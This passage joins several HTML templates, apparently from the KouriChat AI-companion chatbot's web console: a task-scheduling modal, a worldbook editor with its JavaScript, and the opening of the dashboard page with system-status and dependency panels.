id="cronWeekday3" autocomplete="off"> <label class="btn btn-outline-primary flex-fill" for="cronWeekday3">三</label> <input type="checkbox" class="btn-check" id="cronWeekday4" autocomplete="off"> <label class="btn btn-outline-primary flex-fill" for="cronWeekday4">四</label> <input type="checkbox" class="btn-check" id="cronWeekday5" autocomplete="off"> <label class="btn btn-outline-primary flex-fill" for="cronWeekday5">五</label> <input type="checkbox" class="btn-check" id="cronWeekday6" autocomplete="off"> <label class="btn btn-outline-primary flex-fill" for="cronWeekday6">六</label> <input type="checkbox" class="btn-check" id="cronWeekday7" autocomplete="off"> <label class="btn btn-outline-primary flex-fill" for="cronWeekday7">日</label> </div> </div> <!-- 添加隐藏的cron表达式输入框 --> <input type="hidden" id="cronExpression" value=""> </div> <!-- 时间间隔设置 --> <div id="intervalInputGroup" class="mb-3" style="display: none;"> <label class="form-label"> <i class="bi bi-hourglass-split me-2"></i>间隔时间 </label> <div class="input-group"> <input type="number" class="form-control" id="intervalValue" min="1" step="1" placeholder="输入数值"> <select class="form-select" id="intervalUnit" style="max-width: 120px;"> <option value="60">分钟</option> <option value="3600">小时</option> <option value="86400">天</option> </select> </div> <div class="form-text"> <i class="bi bi-info-circle me-1"></i> 常用间隔: <div class="btn-group mt-1"> <button type="button" class="btn btn-sm btn-outline-secondary" onclick="setInterval(30, '60')">30分钟</button> <button type="button" class="btn btn-sm btn-outline-secondary" onclick="setInterval(1, '3600')">1小时</button> <button type="button" class="btn btn-sm btn-outline-secondary" onclick="setInterval(2, '3600')">2小时</button> <button type="button" class="btn btn-sm btn-outline-secondary" onclick="setInterval(24, '3600')">1天</button> </div> </div> </div> <!-- 预览 --> <div class="mt-3"> <label class="form-label"> <i class="bi bi-eye me-2"></i>执行时间预览 </label> <div id="schedulePreview" class="form-control"> 请选择定时类型和设置 </div> </div> </div> </div> </form> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">取消</button> <button type="button" class="btn btn-primary" onclick="saveTask()">保存</button> </div> </div> </div> </div> <!-- 删除任务确认模态框 --> <div class="modal fade" id="deleteTaskModal" tabindex="-1" aria-labelledby="deleteTaskModalLabel" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="deleteTaskModalLabel"> <i class="bi bi-exclamation-triangle-fill text-danger me-2"></i>删除任务 </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <p>确定要删除任务 "<span id="deleteTaskId"></span>" 吗?</p> <p class="text-muted small">此操作无法撤销。</p> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">取消</button> <button type="button" class="btn btn-danger" id="confirmDeleteTaskBtn"> <i class="bi bi-trash me-1"></i>确认删除 </button> </div> </div> </div> </div>
2302_81798979/KouriChat
src/webui/templates/config_sections/task_modals.html
HTML
unknown
13,068
<!-- 世界书管理界面 --> <div class="worldbooks-container" data-worldbooks="{{ config.value | tojson | safe }}" > <div class="d-flex justify-content-between align-items-center mb-3"> <h6 class="mb-0">世界书列表</h6> <button type="button" class="btn btn-primary btn-sm" onclick="addWorldbook()" > <i class="bi bi-plus-circle"></i> 添加世界书 </button> </div> <div id="worldbooks-list" class="worldbooks-list"> <!-- 世界书列表将通过JavaScript动态生成 --> </div> <!-- 隐藏的输入字段,用于提交数据 --> <input type="hidden" id="worldbooks" name="worldbooks" value="" /> </div> <!-- 世界书编辑弹窗 - 注意:此模态框会被JavaScript动态移动到body下以确保全屏显示 --> <div id="worldbookModal" class="worldbook-modal" style="display: none"> <div class="worldbook-modal-backdrop" onclick="closeWorldbookModal()"></div> <div class="worldbook-modal-content"> <div class="worldbook-modal-header"> <h5 id="worldbookModalTitle">编辑世界书</h5> <button type="button" class="worldbook-modal-close" onclick="closeWorldbookModal()" > &times; </button> </div> <div class="worldbook-modal-body"> <div class="mb-3"> <label for="worldbook-name" class="form-label">世界书名称</label> <input type="text" class="form-control" id="worldbook-name" placeholder="请输入世界书名称" /> </div> <div class="mb-3"> <label for="worldbook-content" class="form-label">世界书内容</label> <textarea class="form-control" id="worldbook-content" rows="15" placeholder="请输入世界书内容" style="min-height: 300px" ></textarea> </div> <div class="mb-3"> <div class="form-check"> <input class="form-check-input" type="checkbox" id="worldbook-enabled" checked /> <label class="form-check-label" for="worldbook-enabled"> 启用此世界书 </label> </div> </div> </div> <div class="worldbook-modal-footer"> <button type="button" class="btn btn-secondary" onclick="closeWorldbookModal()" > 取消 </button> <button type="button" class="btn btn-primary" onclick="saveWorldbook()"> 保存 </button> </div> </div> </div> <style> .worldbooks-list { min-height: 100px; } .worldbook-item { border: 1px solid #dee2e6; border-radius: 0.375rem; padding: 1rem; margin-bottom: 0.5rem; background-color: #f8f9fa; position: relative; } .worldbook-item.disabled { opacity: 0.6; background-color: #e9ecef; } .worldbook-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 0.5rem; } .worldbook-name { font-weight: 600; margin: 0; flex-grow: 1; } .worldbook-actions { display: flex; gap: 0.25rem; } .worldbook-content { font-size: 0.875rem; color: #6c757d; max-height: 100px; overflow: hidden; text-overflow: ellipsis; white-space: pre-wrap; } .drag-handle { cursor: move; color: #6c757d; margin-right: 0.5rem; } .drag-handle:hover { color: #495057; } .sortable-ghost { opacity: 0.4; } .sortable-chosen { background-color: #e3f2fd !important; } /* 自定义模态框样式 */ .worldbook-modal { position: fixed !important; top: 0 !important; left: 0 !important; width: 100vw !important; height: 100vh !important; z-index: 99999 !important; display: flex; align-items: flex-start; justify-content: center; padding: 2rem 1rem; box-sizing: border-box; overflow-y: auto; transform: none !important; } .worldbook-modal-backdrop { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.5); } .worldbook-modal-content { position: relative; background: white; border-radius: 0.5rem; box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15); width: 100%; max-width: 900px; min-width: 320px; max-height: calc(100vh - 4rem); overflow-y: auto; z-index: 10000; flex-shrink: 0; } .worldbook-modal-header { display: flex; align-items: center; justify-content: space-between; padding: 1rem 1.5rem; border-bottom: 1px solid #dee2e6; } .worldbook-modal-header h5 { margin: 0; font-size: 1.25rem; font-weight: 500; } .worldbook-modal-close { background: none; border: none; font-size: 1.5rem; cursor: pointer; padding: 0; width: 1.5rem; height: 1.5rem; display: flex; align-items: center; justify-content: center; } .worldbook-modal-close:hover { opacity: 0.7; } .worldbook-modal-body { padding: 1.5rem; } .worldbook-modal-footer { display: flex; align-items: center; justify-content: flex-end; gap: 0.5rem; padding: 1rem 1.5rem; border-top: 1px solid #dee2e6; } /* 响应式设计 */ @media (max-width: 768px) { .worldbook-modal { padding: 1rem 0.5rem; } .worldbook-modal-content { min-width: 280px; max-height: calc(100vh - 2rem); } .worldbook-modal-header, .worldbook-modal-body, .worldbook-modal-footer { padding-left: 1rem; padding-right: 1rem; } #worldbook-content { min-height: 200px !important; } } </style> <script> let worldbooksData = []; let currentEditingIndex = -1; let sortable = null; // 初始化世界书数据 function initWorldbooks() { const container = document.querySelector(".worldbooks-container"); try { const configValue = JSON.parse(container.dataset.worldbooks || "[]"); worldbooksData = Array.isArray(configValue) ? configValue : []; } catch (e) { console.error("初始化世界书数据失败:", e); worldbooksData = []; } renderWorldbooks(); initSortable(); } // 渲染世界书列表 function renderWorldbooks() { const container = document.getElementById("worldbooks-list"); if (!container) { console.error("世界书列表容器未找到"); return; } if (worldbooksData.length === 0) { container.innerHTML = '<div class="text-muted text-center py-3">暂无世界书,点击上方按钮添加</div>'; if (sortable) { sortable.destroy(); sortable = null; } updateHiddenInput(); return; } container.innerHTML = worldbooksData .map( (wb, index) => ` <div class="worldbook-item ${ wb.enabled ? "" : "disabled" }" data-index="${index}"> <div class="worldbook-header"> <i class="bi bi-grip-vertical drag-handle"></i> <h6 class="worldbook-name">${escapeHtml( wb.name || "未命名世界书" )}</h6> <div class="worldbook-actions"> <button type="button" class="btn btn-outline-secondary btn-sm" onclick="editWorldbook(${index})" title="编辑"> <i class="bi bi-pencil"></i> </button> <button type="button" class="btn btn-outline-${ wb.enabled ? "warning" : "success" } btn-sm" onclick="toggleWorldbook(${index})" title="${ wb.enabled ? "禁用" : "启用" }"> <i class="bi bi-${ wb.enabled ? "eye-slash" : "eye" }"></i> </button> <button type="button" class="btn btn-outline-danger btn-sm" onclick="deleteWorldbook(${index})" title="删除"> <i class="bi bi-trash"></i> </button> </div> </div> <div class="worldbook-content">${escapeHtml( wb.content || "" ).substring(0, 200)}${ (wb.content || "").length > 200 ? "..." : "" }</div> </div> ` ) .join(""); updateHiddenInput(); setTimeout(() => { initSortable(); }, 100); } // 初始化拖拽排序 function initSortable() { const container = document.getElementById("worldbooks-list"); if (!container) { console.error("世界书列表容器未找到"); return; } if (sortable) { sortable.destroy(); sortable = null; } if (worldbooksData.length > 0 && typeof Sortable !== "undefined") { try { sortable = new Sortable(container, { handle: ".drag-handle", animation: 150, ghostClass: "sortable-ghost", chosenClass: "sortable-chosen", onEnd: function (evt) { const oldIndex = evt.oldIndex; const newIndex = evt.newIndex; if (oldIndex !== newIndex) { const item = worldbooksData.splice(oldIndex, 1)[0]; worldbooksData.splice(newIndex, 0, item); renderWorldbooks(); } }, }); } catch (error) { console.error("初始化拖拽排序失败:", error); } } } // 添加世界书 function addWorldbook() { currentEditingIndex = -1; document.getElementById("worldbook-name").value = ""; document.getElementById("worldbook-content").value = ""; document.getElementById("worldbook-enabled").checked = true; document.getElementById("worldbookModalTitle").textContent = "添加世界书"; showWorldbookModal(); } // 编辑世界书 function editWorldbook(index) { currentEditingIndex = index; const wb = worldbooksData[index]; document.getElementById("worldbook-name").value = wb.name || ""; document.getElementById("worldbook-content").value = wb.content || ""; document.getElementById("worldbook-enabled").checked = wb.enabled !== false; document.getElementById("worldbookModalTitle").textContent = "编辑世界书"; showWorldbookModal(); } // 保存世界书 function saveWorldbook() { const name = document.getElementById("worldbook-name").value.trim(); const content = document.getElementById("worldbook-content").value.trim(); const enabled = document.getElementById("worldbook-enabled").checked; if (!name) { alert("请输入世界书名称"); return; } if (!content) { alert("请输入世界书内容"); return; } const worldbook = { id: currentEditingIndex >= 0 ? worldbooksData[currentEditingIndex].id : Date.now().toString(), name: name, content: content, enabled: enabled, }; if (currentEditingIndex >= 0) { worldbooksData[currentEditingIndex] = worldbook; } else { worldbooksData.push(worldbook); } renderWorldbooks(); closeWorldbookModal(); } // 切换世界书启用状态 function toggleWorldbook(index) { worldbooksData[index].enabled = !worldbooksData[index].enabled; renderWorldbooks(); } // 删除世界书 function deleteWorldbook(index) { if (confirm("确定要删除这个世界书吗?")) { worldbooksData.splice(index, 1); renderWorldbooks(); } } // 更新隐藏输入字段 function updateHiddenInput() { document.getElementById("worldbooks").value = JSON.stringify(worldbooksData); } // 保存世界书到服务器 function saveWorldbooksToServer() { return fetch("/save_worldbooks", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ worldbooks: worldbooksData, }), }) .then((response) => response.json()) .then((data) => { if (data.status === "success") { console.log("世界书保存成功"); return true; } else { console.error("世界书保存失败:", data.message); return false; } }) .catch((error) => { console.error("保存世界书时发生错误:", error); return false; }); } // 显示模态框 function showWorldbookModal() { const modal = document.getElementById("worldbookModal"); // 将模态框移动到 body 的直接子元素,确保它不受父容器限制 if (modal.parentNode !== document.body) { document.body.appendChild(modal); } modal.style.display = "flex"; document.body.style.overflow = "hidden"; } // 关闭模态框 function closeWorldbookModal() { const modal = document.getElementById("worldbookModal"); modal.style.display = "none"; document.body.style.overflow = ""; } // HTML转义 function escapeHtml(text) { const div = document.createElement("div"); div.textContent = text; return div.innerHTML; } // 页面加载完成后初始化 function initializeWorldbooksWhenReady() { if (document.readyState === "loading") { document.addEventListener("DOMContentLoaded", function () { setTimeout(initWorldbooks, 300); }); } else { setTimeout(initWorldbooks, 300); } } // 添加键盘事件监听 document.addEventListener("keydown", function (event) { if (event.key === "Escape") { const modal = document.getElementById("worldbookModal"); if (modal && modal.style.display === "flex") { closeWorldbookModal(); } } }); // 调用初始化 initializeWorldbooksWhenReady(); </script>
2302_81798979/KouriChat
src/webui/templates/config_sections/worldbooks.html
HTML
unknown
13,858
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- SEO Meta Tags --> <title>KouriChat - AI 情感陪伴系统控制台</title> <meta name="description" content="KouriChat 是基于 DeepSeek LLM 的情感陪伴系统,支持微信机器人接入,提供沉浸式角色扮演和多轮对话体验。"> <meta name="keywords" content="KouriChat, AI陪伴, DeepSeek, 情感陪伴, 角色扮演, AI助手, 微信机器人, LLM, AI对话"> <!-- Open Graph / Facebook --> <meta property="og:type" content="website"> <meta property="og:url" content="https://github.com/KouriChat/KouriChat"> <meta property="og:title" content="KouriChat - AI 情感陪伴系统"> <meta property="og:description" content="基于 DeepSeek LLM 的情感陪伴系统,支持微信机器人接入,提供沉浸式角色扮演体验。"> <meta property="og:image" content="https://raw.githubusercontent.com/KouriChat/KouriChat/main/ATRI.jpg"> <!-- Twitter --> <meta name="twitter:card" content="summary_large_image"> <meta name="twitter:url" content="https://github.com/KouriChat/KouriChat"> <meta name="twitter:title" content="KouriChat - AI 情感陪伴系统"> <meta name="twitter:description" content="基于 DeepSeek LLM 的情感陪伴系统,支持微信机器人接入,提供沉浸式角色扮演体验。"> <meta name="twitter:image" content="https://raw.githubusercontent.com/KouriChat/KouriChat/main/ATRI.jpg"> <!-- 其他 Meta --> <meta name="author" content="umaru-233"> <meta name="robots" content="index, follow"> <meta name="language" content="zh-CN"> <meta name="revisit-after" content="7 days"> <meta name="theme-color" content="#6366f1"> <!-- Favicon --> <link rel="icon" type="image/x-icon" href="/static/mom.ico"> <!-- 原有的样式表引用 --> <link href="/static/css/bootstrap.min.css" rel="stylesheet"> <link href="https://cdn.jsdmirror.com/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css" rel="stylesheet"> <!-- Bootstrap JavaScript 库 --> <script src="/static/js/bootstrap.bundle.min.js"></script> <!-- 添加结构化数据 --> <script type="application/ld+json"> { "@context": "https://schema.org", "@type": "SoftwareApplication", "name": "KouriChat", "description": "基于 DeepSeek LLM 的情感陪伴系统,支持微信和机器人接入,提供沉浸式角色扮演体验。", "operatingSystem": "Windows", "applicationCategory": "ChatApplication", "offers": { "@type": "Offer", "price": "0", "priceCurrency": "CNY" }, "aggregateRating": { "@type": "AggregateRating", "ratingValue": "4.8", "ratingCount": "865", "reviewCount": "81" }, "author": { "@type": "Person", "name": "KouriChat", "url": "https://github.com/KouriChat" }, "downloadUrl": "https://github.com/KouriChat/KouriChat", "softwareVersion": "1.4.1", "keywords": "AI陪伴,DeepSeek,情感陪伴,角色扮演,AI助手,微信机器人,QQ机器人,LLM,AI对话" } </script> <style> :root { --primary-color: #6366f1; --secondary-color: #4f46e5; --background-color: #f8fafc; --text-color: #1e293b; --card-bg: rgba(255, 255, 255, 0.8); --card-border: rgba(255, 255, 255, 0.5); --card-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06); } [data-bs-theme="dark"] { --primary-color: #818cf8; --secondary-color: #6366f1; --background-color: #0f172a; --text-color: #e2e8f0; --card-bg: rgba(30, 41, 59, 0.8); --card-border: rgba(255, 255, 255, 0.1); --card-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.2), 0 2px 4px -1px rgba(0, 0, 0, 0.1); } body { background-color: var(--background-color); color: var(--text-color); transition: all 0.3s ease; background-size: cover; background-position: center; background-attachment: fixed; min-height: 100vh; } /* 毛玻璃效果卡片 */ .glass-panel, .info-card ,.modal-content,.modal-header,.modal-footer,.modal-body{ background: var(--card-bg); -webkit-backdrop-filter: blur(10px); backdrop-filter: blur(10px); border: 1px solid var(--card-border); box-shadow: var(--card-shadow); padding: 1.5rem; transition: all 0.3s ease; } .glass-panel:hover { transform: translateY(-2px); box-shadow: 0 8px 12px -1px rgba(0, 0, 0, 0.15), 0 4px 6px -1px rgba(0, 0, 0, 0.1); } .info-card:hover { transform: translateY(-1px); box-shadow: var(--card-shadow); } /* 进度条样式 */ .progress { height: 0.5rem; background-color: rgba(var(--bs-primary-rgb), 0.1); border-radius: 1rem; overflow: hidden; } /* 按钮样式 */ .btn-glass { background: var(--card-bg); border: 1px solid var(--card-border); -webkit-backdrop-filter: blur(5px); backdrop-filter: blur(5px); transition: all 0.3s ease; } .btn-glass:hover { transform: translateY(-1px); box-shadow: var(--card-shadow); } /* 导航栏样式 */ .navbar { background: var(--card-bg) !important; -webkit-backdrop-filter: blur(10px); backdrop-filter: blur(10px); border-bottom: 1px solid var(--card-border); } /* 徽章样式 */ .badge { padding: 0.5em 0.8em; border-radius: 0.5rem; } /* 列表组样式 */ .list-group-item { background: transparent; border-color: var(--card-border); transition: all 0.3s ease; } .list-group-item:hover { background: var(--card-bg); transform: translateX(4px); } /* Toast 样式 */ .toast { background: var(--card-bg); border: 1px solid var(--card-border); -webkit-backdrop-filter: blur(10px); backdrop-filter: blur(10px); } /* 链接样式 */ a { transition: all 0.3s ease; } a:hover { text-decoration: none; opacity: 0.8; } /* 暗色模式切换按钮 */ .form-check-input:checked { background-color: var(--primary-color); border-color: var(--primary-color); } .system-info { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 1rem; margin-bottom: 1.5rem; } .status-badge { position: relative; padding-left: 1.5rem; } .status-badge::before { content: ''; position: absolute; left: 0; top: 50%; transform: translateY(-50%); width: 0.75rem; height: 0.75rem; border-radius: 50%; background-color: currentColor; } .status-running::before { background-color: #10b981; } .status-stopped::before { background-color: #ef4444; } .chart-container { height: 200px; margin-top: 1rem; } /* 移除重复的导航栏护眼模式开关布局样式 */ /* .navbar .form-check.form-switch { display: flex; align-items: center; height: 100%; margin: 0; } .navbar .form-check-label { display: flex; align-items: center; margin: 0 0 0 8px; line-height: 1; } .navbar .form-check-input { margin: 0; vertical-align: middle; } */ #updateStatus, #startStatus { display: none; margin-top: 1rem; } .loading-spinner { width: 1rem; height: 1rem; margin-right: 0.5rem; } .log-container { height: 400px; background: var(--card-bg); border: 1px solid var(--card-border); border-radius: 0.5rem; padding: 1rem; overflow-y: auto; font-family: 'Consolas', monospace; font-size: 0.9rem; scroll-behavior: smooth; } .log-line { padding: 4px 8px; border-bottom: 1px solid var(--card-border); white-space: pre-wrap; word-wrap: break-word; } .log-timestamp { color: #f97316; font-weight: 500; margin-right: 8px; } .log-level-info { color: #3b82f6; } .log-level-success { color: #10b981; } .log-level-warning { color: #f59e0b; } .log-level-error { color: #ef4444; } .log-container::-webkit-scrollbar { width: 6px; } .log-container::-webkit-scrollbar-track { background: transparent; } .log-container::-webkit-scrollbar-thumb { background-color: rgba(0, 0, 0, 0.2); border-radius: 3px; } .log-container:hover::-webkit-scrollbar-thumb { background-color: rgba(0, 0, 0, 0.3); } /* 机器人控制按钮样式 */ .bot-controls .btn { padding: 0.5rem 1.2rem; font-size: 0.95rem; transition: all 0.3s ease; border: 1px solid var(--card-border); } /* 启动按钮样式 */ .bot-controls .btn.text-success { background: rgba(25, 135, 84, 0.1); } .bot-controls .btn.text-success:hover { background: rgba(25, 135, 84, 0.2); color: #198754 !important; } /* 停止按钮样式 */ .bot-controls .btn.text-danger { background: rgba(220, 53, 69, 0.1); } .bot-controls .btn.text-danger:hover { background: rgba(220, 53, 69, 0.2); color: #dc3545 !important; } /* 更新按钮样式 */ .bot-controls .btn.text-primary { background: rgba(13, 110, 253, 0.1); } .bot-controls .btn.text-primary:hover { background: rgba(13, 110, 253, 0.2); color: #0d6efd !important; } .bot-controls .btn:hover { transform: translateY(-2px); box-shadow: var(--card-shadow); } .bot-controls .btn:active { transform: translateY(0); } /* 禁用状态样式 */ .bot-controls .btn:disabled { opacity: 0.6; cursor: not-allowed; transform: none; } /* 加载状态指示器样式 */ #botLoadingStatus { background: var(--card-bg); border: 1px solid var(--card-border); margin-bottom: 1rem; } /* 改进日志容器样式 */ .log-container { height: 400px; background: var(--card-bg); border: 1px solid var(--card-border); border-radius: 0.5rem; padding: 1rem; overflow-y: auto; font-family: 'Consolas', monospace; font-size: 0.9rem; scroll-behavior: smooth; } /* 修改日志内容容器样式 */ .logs { margin: 0; padding: 0; width: 100%; height: 100%; } /* 控制台输入区域样式 */ .console-input-area { background: var(--card-bg); border: 1px solid var(--card-border); border-radius: 0.5rem; overflow: hidden; } .console-input-area .input-group { background: transparent; } .console-input-area .form-control { background: transparent; color: var(--text-color); font-family: 'Consolas', monospace; } .console-input-area .form-control:focus { box-shadow: none; background: transparent; } .console-input-area .input-group-text { color: var(--text-color); } /* 命令输出样式 */ .command-input { color: #0d6efd; font-weight: 500; } .command-output { color: #198754; } .command-error { color: #dc3545; } .modal-content { border: 1px solid var(--card-border); box-shadow: var(--card-shadow); } .modal-header, .modal-footer { border-color: var(--card-border); } .modal-body { color: var(--text-color); } .btn-close { color: var(--text-color); } /* 动画效果 */ .modal.fade .modal-dialog { transition: transform 0.2s ease-out; } .modal.fade .modal-content { transform: scale(0.95); transition: transform 0.2s ease-out; } .modal.show .modal-content { transform: scale(1); } /* 添加新的样式类 */ .avatar-img { width: 64px; height: 64px; } .progress-bar-width-0 { width: 0%; } .modal-content-glass { background: var(--card-bg); -webkit-backdrop-filter: blur(10px); backdrop-filter: blur(10px); } /* 更新通知样式 */ .update-notification { animation: slideIn 0.5s ease-out forwards; box-shadow: 0 8px 16px rgba(0, 0, 0, 0.15); transition: all 0.3s ease; } @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } } .update-notification:hover { transform: translateY(-5px); box-shadow: 0 12px 20px rgba(0, 0, 0, 0.2); } .update-notification .btn-close { font-size: 0.8rem; padding: 0.25rem; } .log-line:hover { background-color: rgba(0, 0, 0, 0.05); } /* 公告模态框样式 */ .announcement-body { max-height: 45vh; overflow-y: auto; padding: 1.5rem; line-height: 1.6; } #announcementContent { font-size: 1.05rem; } #announcementContent strong { color: var(--primary-color); } #announcementContent .border-top { border-top: 1px solid rgba(0,0,0,0.1) !important; } [data-bs-theme="dark"] #announcementContent .border-top { border-top: 1px solid rgba(255,255,255,0.1) !important; } .spin { animation: spin 1s linear infinite; } /* 微信重连按钮样式 */ .btn-wechat { background-color: #07C160; /* 微信绿色 */ color: white; border: none; padding: 0.5rem 1.2rem; border-radius: 0.5rem; transition: all 0.3s ease; display: inline-flex; align-items: center; justify-content: center; font-weight: 500; font-size: 0.95rem; height: 38px; line-height: 1; } .btn-wechat:hover { background-color: #06ad56; color: white; transform: translateY(-2px); box-shadow: 0 2px 4px rgba(7, 193, 96, 0.3); } .btn-wechat:active { transform: translateY(0); box-shadow: none; } .btn-wechat .bi-wechat { font-size: 1.1em; margin-right: 4px; } .btn-wechat:disabled { opacity: 0.6; cursor: not-allowed; transform: none; } </style> <!-- 添加 dark-mode.js --> <script src="/static/js/bootstrap.bundle.min.js"></script> <script src="/static/js/dark-mode.js"></script> </head> <body data-show-announcement="{{ show_announcement|tojson }}"> <!-- 替换原有的导航栏部分 --> {% with active_page = 'dashboard' %} {% include 'navbar.html' %} {% endwith %} <div class="container py-4"> <div class="glass-panel mb-4"> <div class="row align-items-center g-4"> <div class="col-md-8"> <div class="d-flex align-items-center"> <img src="https://git.kourichat.com/assets/img/favicon.png" alt="umaru-233" class="rounded-circle me-3 avatar-img" width="64" height="64"> <div> <h4 class="mb-1">KouriChat</h4> <p class="text-muted mb-2"> <small>by <a href="https://github.com/KouriChat" target="_blank" rel="noopener" class="text-decoration-none">KouriChat Team</a></small> </p> <div class="d-flex gap-3"> <a href="https://github.com/KouriChat/KouriChat" target="_blank" class="text-decoration-none text-muted" rel="noopener"> <i class="bi bi-github me-1"></i>GitHub </a> <span class="text-muted"> <i class="bi bi-star-fill me-1 text-warning"></i><span id="githubStars">-</span> </span> <span class="text-muted"> <i class="bi bi-git me-1"></i><span id="githubForks">-</span> </span> <span class="text-muted"> <i class="bi bi-exclamation-circle me-1"></i><span id="githubIssues">-</span> </span> </div> </div> </div> </div> <div class="col-md-4"> <div class="d-grid gap-2"> <a href="https://github.com/KouriChat/KouriChat" target="_blank" class="btn btn-primary" rel="noopener"> <i class="bi bi-github me-2"></i>访问项目 </a> <a href="https://github.com/KouriChat/KouriChat/fork" target="_blank" class="btn btn-outline-primary" rel="noopener"> <i class="bi bi-git me-2"></i>Fork 项目 </a> </div> </div> </div> <hr class="my-4"> <div class="row g-4"> <div class="col-md-8"> <h5 class="mb-3">项目介绍</h5> <p class="mb-3"> KouriChat 是一个基于大语言模型的情感陪伴系统,支持微信机器人接入,提供沉浸式角色扮演和多轮对话体验。 系统采用 DeepSeek 等先进的 LLM 模型,通过精心设计的提示词和上下文管理, 让 AI 能够模拟更加自然、真实的情感互动。推荐使用 Kourichat V3 模型以获得最佳体验。 </p> <p class="mb-3"> <strong>主要特性:</strong> <ul class="list-unstyled"> <li><i class="bi bi-check-circle-fill text-success me-2"></i>支持微信机器人接入</li> <li><i class="bi bi-check-circle-fill text-success me-2"></i>提供多种 AI 模型选择</li> <li><i class="bi bi-check-circle-fill text-success me-2"></i>支持图片识别和生成</li> <li><i class="bi bi-check-circle-fill text-success me-2"></i>自定义角色和人设</li> <li><i class="bi bi-check-circle-fill text-success me-2"></i>情感化对话和记忆系统</li> </ul> </p> <div class="d-flex flex-wrap gap-2"> <span class="badge bg-primary">WeChat</span> <span class="badge bg-success">QQBot</span> <span class="badge bg-info">LLM</span> <span class="badge bg-warning">AI 情感陪伴</span> <span class="badge bg-secondary">Python</span> <span class="badge bg-danger">DeepSeek</span> <span class="badge bg-info">角色扮演</span> <span class="badge bg-primary">多轮对话</span> </div> </div> <div class="col-md-4"> <h5 class="mb-3">快速链接</h5> <div class="list-group"> <a href="https://github.com/KouriChat/KouriChat/issues" target="_blank" class="list-group-item list-group-item-action" rel="noopener"> <i class="bi bi-exclamation-circle me-2"></i>问题反馈 </a> <a href="https://kourichat.com/" target="_blank" class="list-group-item list-group-item-action" rel="noopener"> <i class="bi bi-book me-2"></i>官方文档 </a> <a href="https://api.kourichat.com/" target="_blank" class="list-group-item list-group-item-action" rel="noopener"> <i class="bi bi-cloud me-2"></i>API 服务 </a> <a href="https://github.com/KouriChat/KouriChat/pulls" target="_blank" class="list-group-item list-group-item-action" rel="noopener"> <i class="bi bi-git me-2"></i>提交PR </a> <a href="https://github.com/KouriChat/KouriChat/releases" target="_blank" class="list-group-item list-group-item-action" rel="noopener"> <i class="bi bi-download me-2"></i>下载发布版 </a> <button class="list-group-item list-group-item-action" type="button" onclick="showManualAnnouncement()"> <i class="bi bi-bell me-2"></i>查看公告 </button> </div> </div> </div> </div> <div class="glass-panel"> <h4 class="mb-4"> <i class="bi bi-pc-display me-2"></i>系统状态 </h4> <div class="system-info"> <div class="info-card"> <h6 class="d-flex justify-content-between"> <span><i class="bi bi-cpu me-2"></i>CPU</span> <span id="cpuUsage">0%</span> </h6> <div class="progress"> <div id="cpuProgress" class="progress-bar bg-primary progress-bar-width-0"></div> </div> </div> <div class="info-card"> <h6 class="d-flex justify-content-between"> <span><i class="bi bi-memory me-2"></i>内存</span> <span id="memoryUsage">0/0 GB</span> </h6> <div class="progress"> <div id="memoryProgress" class="progress-bar bg-success progress-bar-width-0"></div> </div> </div> <div class="info-card"> <h6 class="d-flex justify-content-between"> <span><i class="bi bi-hdd me-2"></i>磁盘</span> <span id="diskUsage">0/0 GB</span> </h6> <div class="progress"> <div id="diskProgress" class="progress-bar bg-info progress-bar-width-0"></div> </div> </div> <div class="info-card"> <h6 class="d-flex justify-content-between"> <span><i class="bi bi-wifi me-2"></i>网络</span> </h6> <div class="d-flex justify-content-between align-items-center mt-2"> <div> <small class="text-muted d-block">上传</small> <span id="uploadSpeed" class="text-success">0 KB/s</span> </div> <div> <small class="text-muted d-block">下载</small> <span id="downloadSpeed" class="text-danger">0 KB/s</span> </div> </div> </div> </div> <div class="glass-panel"> <div class="d-flex justify-content-between align-items-center mb-4"> <h4 class="mb-0"> <i class="bi bi-boxes me-2"></i>依赖管理 </h4> <div> <button class="btn btn-glass text-info me-2" onclick="checkDependencies()"> <i class="bi bi-search me-1"></i>检查依赖 </button> <button class="btn btn-glass text-primary me-2" onclick="checkAndInstallDependencies()"> <i class="bi bi-download me-1"></i>安装依赖 </button> <button class="btn btn-glass text-success" onclick="checkAndInstallDependencies()"> <i class="bi bi-arrow-repeat me-1"></i>更新依赖 </button> </div> </div> <div id="dependencyStatus" class="alert d-none"> <div class="d-flex align-items-center"> <div class="spinner-border spinner-border-sm me-2" role="status"> <span class="visually-hidden">Loading...</span> </div> <span id="dependencyStatusText">正在检查依赖...</span> </div> </div> <div class="info-card"> <div class="d-flex justify-content-between align-items-center mb-2"> <span class="text-muted">Python版本</span> <span id="pythonVersion" class="badge bg-primary"> <i class="bi bi-question-circle me-1"></i>检查中... </span> </div> <div class="d-flex justify-content-between align-items-center mb-2"> <span class="text-muted">pip状态</span> <span id="pipStatus" class="badge bg-secondary"> <i class="bi bi-question-circle me-1"></i>检查中... </span> </div> <div class="d-flex justify-content-between align-items-center"> <span class="text-muted">依赖状态</span> <span id="depsStatus" class="badge bg-secondary"> <i class="bi bi-question-circle me-1"></i>检查中... </span> </div> </div> <div id="missingDeps" class="mt-3 d-none"> <small class="text-muted">缺失的依赖项:</small> <div class="missing-deps-list mt-2"></div> </div> </div> <div class="glass-panel"> <div class="d-flex justify-content-between align-items-center mb-4"> <h4 class="mb-0"> <i class="bi bi-robot me-2"></i>机器人状态 </h4> <div class="bot-controls"> <button class="btn btn-wechat me-2" 